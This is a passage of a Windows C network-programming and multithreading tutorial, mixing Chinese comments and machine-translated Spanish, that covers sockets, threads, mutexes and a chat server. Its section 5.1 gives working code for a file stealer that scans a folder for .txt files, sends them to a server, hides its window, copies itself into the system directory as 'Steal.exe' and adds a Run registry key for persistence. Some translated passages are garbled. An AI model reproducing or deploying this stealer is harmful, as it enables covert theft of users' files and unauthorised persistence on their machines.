	servAddr.sin_family = AF_INET;
	servAddr.sin_addr.s_addr = inet_addr("111.231.75.168");//192.168.0.112
	servAddr.sin_port = htons(9527);
	// 3、连接服务器
	if (connect(hSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
		ErrorHandling("connect() error!");

	strLen = send(hSocket, message, sizeof(message) - 1, 0);
	if (strLen == -1)
		ErrorHandling("read() error!");

	strLen = recv(hSocket, message, sizeof(message) - 1, 0);
	if (strLen == -1)
		ErrorHandling("read() error!");
	printf("Message from server: %s \n", message);

	closesocket(hSocket);
	WSACleanup();
	system("pause");
	return 0;
}
#endif

#if 1
//tcp
int main()
{
    
    

	ClientConnect();
	system("pause");
}
#endif

void ErrorHandling(char* message)
{
    
    
	fputs(message, stderr);
	fputc('\n', stderr);
	char ch[64];
	getCurrentTimeStr(ch);
	printf("error num = %d, error timt %s\n", ::GetLastError(), ch);
	system("pause");
	//	exit(1);
}

5 Práctica de programación de redes

5.1 Intercepción práctica de archivos de red en programación de redes

Implementación del cliente:

  • 文件结构体:
    typedef struct _WIN32_FIND_DATAW { DWORD dwFileAttributes; FILETIME ftCreationTime; FILETIME ftLastAccessTime; FILETIME ftLastWriteTime; DWORD nFileSizeAlto; DWORD nFileSizeLow; DWORD dwReserved0; DWORD dwReserved1; Field_z WCHAR cFileName[ MAX_PATH ]; Field_z WCHAR cAlternateFileName[ 14 ]; }










  • fopen,fread: abre y lee archivos
#include <stdio.h>
#include <windows.h>
#include <io.h>



#pragma comment(lib, "ws2_32.lib")

int SendtoServer(const char* path)
{
    
    
	//0 初始化网络库
	 // 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	char sendBuf[1024] = {
    
    0};

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		printf("WSAStartup errorNum = %d\n", GetLastError());
		system("pause");
		return err;
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		system("pause");
		return -1;
	}
	// 2 安装电话机
	 // 新建套接字
	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockCli)
	{
    
    
		printf("socket errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);

	// 3 连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		printf("connect errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}
	// 4 读取文件内容
	FILE* fp = fopen(path, "rb");
	int len = fread(sendBuf, 1, 1024, fp);
	fclose(fp);

	// 5 发送数据
	int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
	if (iLen < 0)
	{
    
    
		printf("send errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}
	// 关闭套接字
	closesocket(sockCli);
	//WSACleanup();
	return 0;
}

5.1.2 Recorrer archivos, agregar elementos de inicio y ocultar archivos

int DoSteal(const char *szPath)
{
    
    
	// 1 遍历szPath下所有的文件
	WIN32_FIND_DATA FindFileData;// FindFileData表示文件
	HANDLE hListFile; //文件用句柄来标识,编号

	char szFilePath[MAX_PATH] = {
    
    0};
	strcpy(szFilePath, szPath);
	strcat(szFilePath, "\\*");
	// 2 首先找到第一个文件,用hListFile标识
	hListFile = FindFirstFile(szFilePath, &FindFileData);
	// 3 循环遍历所有文件
	do 
	{
    
    
		char mypath[MAX_PATH] = {
    
     0 };
		strcpy(mypath, szPath);
		strcat(mypath, FindFileData.cFileName);
		if (strstr(mypath, ".txt"))  //txt文件
		{
    
    
			//真真正正开始窃取文件
			SendtoServer(mypath);
			printf("mypath = %s\n", mypath);
		}
		

	} while (FindNextFile(hListFile, &FindFileData));
	//FindNextFile的返回值为NULL,退出循环


	return 0;
}


void AddToSystem()
{
    
    
	HKEY  hKEY;
	char  CurrentPath[MAX_PATH];
	char  SysPath[MAX_PATH];
	long  ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type = REG_SZ;
	DWORD size = MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit  win + R

	GetSystemDirectory(SysPath, size);
	GetModuleFileName(NULL, CurrentPath, size);
	//Copy File
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath, "\\Steal.exe");
	struct _finddata_t Steal;
	printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
	if (_findfirst(FileNewName, &Steal) != -1)
		return;//已经安装!
	printf("ret2 = %d\n", ret);

	int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
	if (ihow == IDCANCEL)
		exit(0);

	if (ihow == IDNO)
		return;//只运行一次
	//复制文件
	ret = CopyFile(FileCurrentName, FileNewName, TRUE);
	if (!ret)
	{
    
    
		return;
	}
	//加入注册表
	printf("ret = %d\n", ret);
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
	if (ret != ERROR_SUCCESS)
	{
    
    
		RegCloseKey(hKEY);
		return;
	}
	//Set Key
	ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
	if (ret != ERROR_SUCCESS)
	{
    
    
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);

}

void HideMyself()
{
    
    
	// 拿到当前的窗口句柄
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}

int main()
{
    
    
	printf("Steal\n");
	//隐藏自身
	HideMyself();
	// 添加到启动项
	AddToSystem();
	//窃取文件   窃取哪个文件呢??
	while (1)
	{
    
    
		DoSteal("E:\\Users\\BingGo\\Desktop\\test\\");
		Sleep(5000);
	}
	
	system("pause");
	return 0;
}

5.1.3 Función para imprimir códigos de error en la consola

Implementación del lado del servidor:



#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024

//控制台打印错误码的函数
void ErrorHanding(const char *msg)
{
    
    
	fputs(msg, stderr);
	fputc('\n', stderr);
	exit(1);
}

int main()
{
    
    
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	char msg[MAX_SIZE] = {
    
     0 };

	wVersionRequested = MAKEWORD(2, 2);
	// 1、初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		ErrorHanding("WSAStartup error");
	}

	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
    
    
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		ErrorHanding("LOBYTE error");
		return -1;
	}
	// 2 建立socket
	SOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == hServerSock)
	{
    
    
		ErrorHanding("socket error");
	}

	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(6000);
	// 3 分配电话号码
	 // 绑定套接字到本地IP地址,端口号9527
	if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
    
    
		ErrorHanding("socket error");
	}

	// 4、监听 listen
	if (SOCKET_ERROR == listen(hServerSock, 5))
	{
    
    
		ErrorHanding("listen error");
	}

	SOCKADDR_IN addrCli;
	int cliAdrSize = sizeof(SOCKADDR_IN);
	SOCKET cliSock;
	int strLen = 0;
	// 5 循环接收数据
	while(TRUE)
	{
    
    
		cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize);
		if (SOCKET_ERROR == cliSock)
		{
    
    
			ErrorHanding("accept error");
		}
		memset(msg, 0, MAX_SIZE);

		while ((strLen = recv(cliSock, msg, MAX_SIZE, 0)) != 0)
		{
    
    
			printf("Server msg = %s\n",msg);
		}
		closesocket(cliSock);
	}

	closesocket(hServerSock);
	WSACleanup();


	return 0;
}

5.2 Programación de red, interceptación práctica de archivos de red: ocultar procesos y modificar el registro

  • mejoramiento:
  • Resumen:
    1 Siempre que se trate de un recorrido de archivos, debemos pensar inmediatamente en la estructura WIN32_FIND_DATA
    2 WIN32_FIND_DATA contiene el nombre del archivo y la información del archivo, la hora de creación, la hora de acceso, etc.
    3 Identificador: el puntero se utiliza para representar algunos objetos en Windows
    4 MAX_PATH es una variable de matriz relacionada con la ruta de Windows 260
    5 Deshabilitar advertencias específicas 4996
    6 Cómo ocultarse
    7 Cómo escribir en el registro
    8 Función de manejo de errores
    void ErrorHanding(const char *msg)
    { fputs(msg, stderr); fputc( '\n', stderr); salir (1); }



6 subprocesos múltiples

6.1 Conceptos básicos

Presentación de un tema:
el maestro planteó un requisito: imprimir,
pedirle a Xiaohong que haga flexiones cada 3 segundos 20 veces, a
Xiao Ming que haga un movimiento de cabello cada 4 segundos 30 veces
y pedirle a Lao Wang que cante 50 veces cada 2 segundos.

  • Un subproceso es una unidad de ejecución generada en un proceso. Es la unidad más pequeña para la programación y asignación de CPU. Se ejecuta en paralelo con otros subprocesos en el mismo proceso. Pueden compartir recursos dentro del proceso, como memoria, espacio de direcciones, apertura. archivos, etc. espere.
    • Los subprocesos son la unidad básica de programación y envío de CPU, ------ trabajadores
    • El proceso es la unidad básica para la asignación de recursos, ---- taller
  • Proceso: Un programa en ejecución: en sentido estricto,
    es el término general para un programa en ejecución y los recursos que administra (como archivos abiertos, señales pendientes, estado del proceso, espacio de direcciones, etc.). Núcleo del sistema operativo, el proceso es la unidad básica de asignación y protección de recursos por parte del sistema operativo, además del intervalo de tiempo de la CPU. Tiene un espacio de direcciones virtuales independiente para acomodar la imagen del proceso (como los programas y datos asociados con el proceso), y se basa en el proceso. Hace cumplir la protección de recursos como el acceso protegido a procesadores, archivos, dispositivos externos y otros procesos (comunicación entre procesos)
    Insertar descripción de la imagen aquí

Una computadora se compone de muchos recursos, como CPU, memoria, disco, mouse, teclado, etc., al igual que una fábrica se compone de un sistema de energía, un taller, un almacén, una oficina de administración y trabajadores.
Insertar descripción de la imagen aquí

Se supone que la potencia de la fábrica es limitada y sólo puede suministrarse a uno o unos pocos talleres a la vez. Es decir, cuando unos talleres empiezan a funcionar, otros talleres deben dejar de funcionar. El significado detrás de esto es que una sola CPU solo puede ejecutar una tarea a la vez, y varias CPU pueden ejecutar una pequeña cantidad de tareas.

Insertar descripción de la imagen aquí

Los hilos son como trabajadores en un taller. Un proceso puede incluir varios subprocesos que trabajan juntos para completar una determinada tarea.
Insertar descripción de la imagen aquí

¿Por qué utilizar subprocesos múltiples?

  • Evite el bloqueo
    Como todos sabemos, un solo proceso tiene un solo hilo principal, cuando el hilo principal está bloqueado, todo el proceso se bloquea y no puede realizar otras funciones.
  • Evite la inactividad de la CPU.
    Las aplicaciones a menudo implican RPC, acceso a bases de datos, E/S de disco y otras operaciones. Estas operaciones son mucho más lentas que la CPU. Mientras espera estas respuestas, la CPU no puede procesar nuevas solicitudes, lo que resulta en esta operación de un solo subproceso. Rendimiento de la aplicación es pobre. CPU》》Memoria》》Disco
  • Mejore la eficiencia:
    un proceso debe tener de forma independiente un espacio de direcciones virtuales de 4 GB y varios subprocesos pueden compartir el mismo espacio de direcciones. El cambio de subprocesos es mucho más rápido que el cambio de procesos.
    cambio de contexto
    Insertar descripción de la imagen aquí

6.2 Función de creación de hilos

Crear hilo

  • CreateThread es una función proporcionada por Microsoft en la API de Windows para crear un nuevo hilo. Esta función crea un nuevo hilo basado en el hilo principal. Una vez finalizado el hilo, el objeto del hilo todavía está en el sistema y debe cerrarse mediante la función CloseHandle.

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
TAMAÑO_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)

  • El primer parámetro lpThreadAttributes representa los atributos de seguridad del objeto del núcleo del hilo. Generalmente, pasar NULL significa usar la configuración predeterminada.
  • El segundo parámetro dwStackSize representa el tamaño del espacio de la pila de subprocesos. Pasar 0 significa usar el tamaño predeterminado (1 MB).
  • El tercer parámetro lpStartAddress representa la dirección de la función del hilo ejecutada por el nuevo hilo. Varios hilos pueden usar la misma dirección de función.
  • El cuarto parámetro lpParameter es el parámetro pasado a la función del subproceso.
  • El quinto parámetro dwCreationFlags especifica indicadores adicionales para controlar la creación de subprocesos. Si es 0, significa que el subproceso se puede programar inmediatamente después de su creación. Si es CREATE_SUSPENDED, significa que el subproceso se pausa después de su creación. para que no se pueda programar hasta que se llame a ResumeThread().
  • El sexto parámetro lpThreadId devolverá el número de ID del hilo. Pasar NULL significa que no es necesario devolver el número de ID del hilo.
unsigned long _beginthreadex(
    void *security,    // 安全属性, 为NULL时表示默认安全性
    unsigned stack_size,    // 线程的堆栈大小, 一般默认为0
    unsigned(_stdcall *start_address)(void *),   // 线程函数
    void *argilist, // 线程函数的参数
   unsigned initflag,    // 新线程的初始状态,0表示立即执行,//CREATE_SUSPENDED表示创建之后挂起
    unsigned *threaddr    // 用来接收线程ID
);

Valor de retorno: // Devuelve el nuevo identificador de subproceso en caso de éxito, devuelve 0 en caso de error

  • __stdcall significa
    • 1.Los parámetros se insertan en la pila de derecha a izquierda.
    • 2. El destinatario de la función modifica la pila.
#include <stdio.h>
#include <windows.h>
#include <process.h>

DWORD WINAPI ThreadFun(LPVOID p)
{
    
    
	int iMym = *((int*)p);
	printf("我是子线程,PID = %d,iMym = %d\n", GetCurrentThreadId(), iMym);
	return 0;
}

int main()
{
    
    
	printf("main begin\n");

	HANDLE hThread;
	DWORD dwThreadID;
	int m = 100;
	hThread = CreateThread(NULL, 0, ThreadFun, &m, 0, &dwThreadID);
	printf("我是主线程,PID = %d\n", GetCurrentThreadId());
	CloseHandle(hThread);
	Sleep(2000);
	system("pause");
	return 0;
}

6.3 Ejemplo simple de subprocesos múltiples

1 Comprender los objetos del kernel

1 定义: 
  • Los objetos del kernel se crean a través de API. Cada objeto del kernel es una estructura de datos, que corresponde a una porción de memoria, asignada por el kernel del sistema operativo y solo el kernel del sistema operativo puede acceder a ella. Algunos miembros de esta estructura de datos, como el descriptor de seguridad y el recuento de uso, son comunes a todos los objetos, pero la mayoría de los demás miembros son específicos de diferentes tipos de objetos. Solo se puede acceder a las estructuras de datos de los objetos del kernel mediante la API proporcionada por el sistema operativo y las aplicaciones en la memoria no pueden acceder a ellas. Después de llamar a una función que crea un objeto del núcleo, la función devuelve un identificador que identifica el objeto que se creó. Puede ser utilizado por cualquier hilo del proceso.
    CreateProcess
    CreateThread
    CreateFile
    evento
    Job
    Mutex
  • Objetos comunes del kernel: Proceso, subproceso, archivo, objeto de símbolo de acceso, objeto de evento, objeto de archivo, objeto de trabajo, objeto mutex, objeto de tubería, objeto de temporizador de espera, objeto de ranura de correo, objeto de señal
  • Objeto kernel: un bloque de datos creado por el sistema operativo para administrar recursos como subprocesos/archivos.
  • El dueño de su creación es definitivamente el sistema operativo.

Fase 1: hora de finalización del hilo principal y subproceso_beginthreadex

Una vez que regresa la función principal, todo el proceso finaliza, junto con todos los subprocesos que contiene. . .

#include <stdio.h>
#include <windows.h>
#include <process.h>   

unsigned WINAPI ThreadFunc(void *arg);

int main(int argc, char *argv[]) 
{
    
    
	HANDLE hThread;
	unsigned threadID;
	int param=5;

	hThread=(HANDLE)_beginthreadex(NULL, 0, &ThreadFunc, (void*)&param, 0, &threadID);
	if(hThread==0)
	{
    
    
		puts("_beginthreadex() error");
		return -1;
	}
	Sleep(3000);
	puts("end of main");
	return 0;
}


unsigned WINAPI ThreadFunc(void *arg)
{
    
    
	int i;
	int cnt=*((int*)arg);
	for(i=0; i<cnt; i++)
	{
    
    
		Sleep(1000);  puts("running thread");	 
	}
	return 0;
}

Segunda etapa WaitForSingleObject

Para esperar a que se notifique un objeto del núcleo
WaitForSingleObject(
En HANDLE hHandle, //Indicar el identificador de un objeto del núcleoEn DWORD dwMillisegundos //Tiempo de espera );

#include <stdio.h>
#include <windows.h>
#include <process.h>


unsigned int __stdcall ThreadFun(LPVOID p)
{
    
    
	int cnt = *((int*)p);
	for (int i = 0; i < cnt; i++)
	{
    
    
		Sleep(1000);
		puts("running thread");
	}
	return 0;
}


int main()
{
    
    
	printf("main begin\n");
	int iParam = 5;
	unsigned int dwThreadID;
	DWORD wr;

	HANDLE hThread = (HANDLE)_beginthreadex(NULL, 0, ThreadFun,
		(void*)&iParam, 0, &dwThreadID);

	if (hThread == NULL)
	{
    
    
		puts("_beginthreadex() error");
		return -1;
	}
	// 
	printf("WaitForSingleObject begin\n");
	if ((wr = WaitForSingleObject(hThread, INFINITE)) == WAIT_FAILED)
	{
    
    
		puts("thread wait error");
		return -1;
	}
	printf("WaitForSingleObject end\n");

	printf("main end\n");
	system("pause");
	return 0;
}

La tercera etapa WaitForMultipleObjects:

Inicie dos subprocesos, uno más +1, uno menos 1
WaitForMultipleObjects
WaitForMultipleObjects(
In DWORD nCount, //El número de identificadores en el grupo de identificadores que se van a monitorear
In_reads (nCount) CONST HANDLE* lpHandles, //El grupo de identificadores que se van a monitorear monitoreado
en BOOL bWaitAll, // TRUE espera a que todos los objetos del kernel envíen señales, FALSE cualquier objeto del kernel envía señales
en DWORD dwMillisegundos //Tiempo de espera
);

#include <stdio.h>
#include <windows.h>
#include <process.h>

#define NUM_THREAD	50
unsigned WINAPI threadInc(void * arg);
unsigned WINAPI threadDes(void * arg);
long long num=0;

int main(int argc, char *argv[]) 
{
    
    
	HANDLE tHandles[NUM_THREAD];
	int i;

	printf("sizeof long long: %d \n", sizeof(long long));
	for(i=0; i<NUM_THREAD; i++)
	{
    
    
		if(i%2)
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadInc, NULL, 0, NULL);
		else
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadDes, NULL, 0, NULL);
	}

	WaitForMultipleObjects(NUM_THREAD, tHandles, TRUE, INFINITE);
	printf("result: %lld \n", num);
	return 0;
}

unsigned WINAPI threadInc(void * arg) 
{
    
    
	int i;
	for(i=0; i<500000; i++)
		num+=1;
	return 0;
}
unsigned WINAPI threadDes(void * arg)
{
    
    
	int i;
	for(i=0; i<500000; i++)
		num-=1;
	return 0;
}

6.4 Sincronización de subprocesos: objeto mutex mutex

  • Los objetos Mutex son objetos del kernel que garantizan que los subprocesos tengan acceso mutuamente exclusivo a un único recurso.
  • El objeto mutex contiene un recuento de uso, un ID de hilo y un contador. La ID del hilo se usa para identificar qué hilo en el sistema posee actualmente el objeto mutex, y el contador se usa para indicar la cantidad de veces que el hilo posee el objeto mutex.
  • Cree un objeto mutuamente excluyente: llame a la función CreateMutex. Si la llamada tiene éxito, la función devuelve el identificador del objeto mutex creado.
  • Solicitar propiedad del objeto mutex: llame a la función WaitForSingleObject. Un hilo debe solicitar activamente la propiedad de un objeto compartido para obtener la propiedad.
  • Liberar la propiedad del objeto mutex especificado: llame a la función ReleaseMutex. Después de que el hilo accede al recurso compartido, el hilo debe liberar activamente la propiedad del objeto mutex para que el objeto esté en el estado notificado.

CrearMutex

HANDLE
WINAPI
CreateMutexW(
In_opt LPSECURITY_ATTRIBUTES lpMutexAttributes, //Apunta al atributo de seguridad
en BOOL bInitialOwner, //Inicializa el propietario del objeto mutex. TRUE inmediatamente posee el mutex. Falso significa que el mutex creado no pertenece a ningún hilo; por lo que está en estado excitado y hay un estado de señal
In_opt LPCWSTR lpName //Puntero al nombre del objeto mutex L "C++"
);

#include <stdio.h>
#include <windows.h>
#include <process.h>

#define NUM_THREAD	50
unsigned WINAPI threadInc(void * arg);
unsigned WINAPI threadDes(void * arg);

long long num=0;
HANDLE hMutex;

int main(int argc, char *argv[]) 
{
    
    
	HANDLE tHandles[NUM_THREAD];
	int i;

	hMutex=CreateMutex(NULL, FALSE, NULL);
	for(i=0; i<NUM_THREAD; i++)
	{
    
    
		if(i%2)
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadInc, NULL, 0, NULL);
		else
		    tHandles[i]=(HANDLE)_beginthreadex(NULL, 0, threadDes, NULL, 0, NULL);
	}

	WaitForMultipleObjects(NUM_THREAD, tHandles, TRUE, INFINITE);
	CloseHandle(hMutex);
	printf("result: %lld \n", num);
	return 0;
}

unsigned WINAPI threadInc(void * arg) 
{
    
    
	int i;

	WaitForSingleObject(hMutex, INFINITE);
	for(i=0; i<500000; i++)
		num+=1;
	ReleaseMutex(hMutex);

	return 0;
}
unsigned WINAPI threadDes(void * arg)
{
    
    
	int i;

	WaitForSingleObject(hMutex, INFINITE);
	for(i=0; i<500000; i++)
		num-=1;
	ReleaseMutex(hMutex);

	return 0;
}

6.5 Multi-threading implementa el servidor y cliente del chat grupal QQ

Servidor

//多线程+socket编程的一个联合使用
//用互斥体进行线程同步  socket编程   临界区   全局变量

#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <process.h>

#pragma comment(lib, "ws2_32.lib")

#define MAX_CLNT 256
#define MAX_BUF_SIZE 256


SOCKET clntSocks[MAX_CLNT];  //所有的连接的客户端socket
HANDLE hMutex;
int clntCnt = 0;  //当前连接的数目

// 服务端的设计:
// 1 每来一个连接,服务端起一个线程(安排一个工人)维护
// 2 将收到的消息转发给所有的客户端
// 3 某个连接断开,需要处理断开的连接

//发送给所有的客户端
void SendMsg(char *szMsg, int iLen)
{
    
    
	int i = 0;
	WaitForSingleObject(hMutex, INFINITE);
	for (i = 0; i < clntCnt; i++)
	{
    
    
		send(clntSocks[i], szMsg, iLen, 0);
	}
	ReleaseMutex(hMutex);
}


//处理客户端连接的函数
unsigned WINAPI HandleCln(void* arg)
{
    
    
	//1 接收传递过来的参数
	SOCKET hClntSock = *((SOCKET*)arg);
	int iLen = 0, i;
	char szMsg[MAX_BUF_SIZE] = {
    
     0 };
	//2 进行数据的收发  循环接收
	//接收到客户端的数据

//  	while ((iLen = recv(hClntSock, szMsg, sizeof(szMsg),0)) != 0)
//  	{ 		//收到的数据立马发给所有的客户端
//  		SendMsg(szMsg, iLen);
//  	}

	while (1)
	{
    
     	
		iLen = recv(hClntSock, szMsg, sizeof(szMsg), 0);
		if (iLen != -1)
		{
    
    
			//收到的数据立马发给所有的客户端
			SendMsg(szMsg, iLen);
		}
		else
		{
    
    
			break;
		}
	}
	

	printf("此时连接数目为 %d\n", clntCnt);

	//3 某个连接断开,需要处理断开的连接  遍历
	WaitForSingleObject(hMutex, INFINITE);
	for (i = 0; i<clntCnt; i++)
	{
    
    
		if (hClntSock == clntSocks[i])
		{
    
    
			//移位
			while (i++ < clntCnt)
			{
    
    
				clntSocks[i] = clntSocks[i+1];
			}
			break;
		}
	}
	clntCnt--;  //当前连接数的一个自减
	printf("断开此时连接数目 %d", clntCnt);
	ReleaseMutex(hMutex);
	closesocket(hClntSock);
	return 0;

}


int main()
{
    
    
	// 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	HANDLE hThread;
	wVersionRequested = MAKEWORD(1, 1);
	// 初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
	{
    
    
		WSACleanup();
		return -1;
	}
	//创建一个互斥对象
	hMutex = CreateMutex(NULL, FALSE, NULL);
	// 新建套接字
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);

	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(9190);

	// 绑定套接字到本地IP地址,端口号9190
	if (bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)) == SOCKET_ERROR)
	{
    
    
		printf("bind ERRORnum = %d\n", GetLastError());
		return -1;
	}

	// 开始监听
	if(listen(sockSrv, 5) == SOCKET_ERROR)
	{
    
    
		printf("listen ERRORnum = %d\n", GetLastError());
		return -1;
	}
	
	printf("start listen\n");

	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);

	while (1)
	{
    
    
		// 接收客户连接  sockConn此时来的客户端连接
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);

		//每来一个连接,服务端起一个线程(安排一个工人)维护客户端的连接
		//每来一个连接,全局数组应该加一个成员,最大连接数加1
		WaitForSingleObject(hMutex, INFINITE);
		clntSocks[clntCnt++] = sockConn;
		ReleaseMutex(hMutex);

		hThread = (HANDLE)_beginthreadex(NULL, 0, HandleCln,
			(void*)&sockConn, 0, NULL);
		printf("Connect client IP: %s \n", inet_ntoa(addrCli.sin_addr));
		printf("Connect client num: %d \n", clntCnt);
	}

	closesocket(sockSrv);
	WSACleanup();

	return 0;
}

cliente

// 1  接收服务端的消息   安排一个工人 起一个线程接收消息
// 2 发送消息给服务端    安排一个工人 起一个线程发送消息
// 3 退出机制

#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <process.h>

#pragma comment(lib, "ws2_32.lib")

#define NAME_SIZE 32
#define BUF_SIZE 256

char szName[NAME_SIZE] = "[DEFAULT]";
char szMsg[BUF_SIZE];

//发送消息给服务端
unsigned WINAPI SendMsg(void* arg)
{
    
    
	//1 接收传递过来的参数
	SOCKET hClntSock = *((SOCKET*)arg);
	char szNameMsg[NAME_SIZE + BUF_SIZE];  //又有名字,又有消息
	//循环接收来自于控制台的消息
	while (1)
	{
    
    
		fgets(szMsg, BUF_SIZE, stdin); //阻塞在这一句
		//退出机制  当收到q或Q  退出
		if (!strcmp(szMsg, "Q\n") || !strcmp(szMsg, "q\n"))
		{
    
    
			closesocket(hClntSock);
			exit(0);
		}

		sprintf(szNameMsg, "%s %s",szName, szMsg);//字符串拼接
		send(hClntSock, szNameMsg, strlen(szNameMsg), 0);//发送
	}
	return 0;
}

//接收服务端的消息
unsigned WINAPI RecvMsg(void* arg)
{
    
    
	//1 接收传递过来的参数
	SOCKET hClntSock = *((SOCKET*)arg);
	char szNameMsg[NAME_SIZE + BUF_SIZE];  //又有名字,又有消息
	int iLen = 0;
	while (1)
	{
    
    
		//recv阻塞
		iLen = recv(hClntSock, szNameMsg, NAME_SIZE + BUF_SIZE - 1, 0);
		//服务端断开
		if (iLen == -1)
		{
    
    
			return -1;
		}
		// szNameMsg的0到iLen -1 都是收到的数据 iLen个
		szNameMsg[iLen] = 0;
		//接收到的数据输出到控制台
		fputs(szNameMsg, stdout);
	}
	return 0;
}

// 带参数的main函数,用命令行启动  在当前目录按下shift + 鼠标右键 cmd
int main(int argc, char *argv[])
{
    
    
	// 加载套接字库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	SOCKET hSock;
	SOCKADDR_IN servAdr;
	HANDLE hSendThread, hRecvThread;
	wVersionRequested = MAKEWORD(1, 1);
	// 初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
    
    
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
	{
    
    
		WSACleanup();
		return -1;
	}
	sprintf(szName, "[%s]", argv[1]);
	//1 建立socket
	hSock = socket(PF_INET, SOCK_STREAM, 0);

	// 2 配置端口和地址
	memset(&servAdr, 0, sizeof(servAdr));
	servAdr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	servAdr.sin_family = AF_INET;
	servAdr.sin_port = htons(9190);

	// 3 连接服务器
	if (connect(hSock, (SOCKADDR*)&servAdr, sizeof(servAdr)) == SOCKET_ERROR)
	{
    
    
		printf("connect error error code = %d\n",GetLastError());
		return -1;
	}

	// 4  发送服务端的消息   安排一个工人 起一个线程发送消息

	hSendThread = (HANDLE)_beginthreadex(NULL, 0, SendMsg,
		(void*)&hSock, 0, NULL);

	//  5 接收消息给服务端    安排一个工人 起一个线程接收消息

	hRecvThread = (HANDLE)_beginthreadex(NULL, 0, RecvMsg,
		(void*)&hSock, 0, NULL);

	//等待内核对象的信号发生变化
	WaitForSingleObject(hSendThread, INFINITE);
	WaitForSingleObject(hRecvThread, INFINITE);

	// 6 关闭套接字
	closesocket(hSock);
	WSACleanup();
	return 0;
}

6.6 Sincronización de subprocesos: objeto de evento Evento

  • El objeto de evento también pertenece al objeto del núcleo y contiene los tres miembros siguientes:
    ● Recuento de uso;
    ● Valor booleano utilizado para indicar si el evento es un evento de restablecimiento automático o un evento de restablecimiento manual;
    ● Se utiliza para indicar que el evento ha sido A. Valor booleano que indica si el estado es notificado o no notificado.
  • Hay dos tipos de objetos de evento: restablecer objetos de evento manualmente y restablecer objetos de evento automáticamente. La diferencia entre estos dos objetos de evento es que cuando se notifica un objeto de evento restablecido manualmente, todos los subprocesos que esperan el objeto de evento se convierten en subprocesos programables; cuando se notifica un objeto de evento restablecido automáticamente, todos los subprocesos que esperan el objeto de evento se vuelven programables. El hilo entre los hilos se vuelve programable.
  1.  创建事件对象
    调用CreateEvent函数创建或打开一个命名的或匿名的事件对象。
    
  2.  设置事件对象状态
    调用SetEvent函数把指定的事件对象设置为有信号状态。
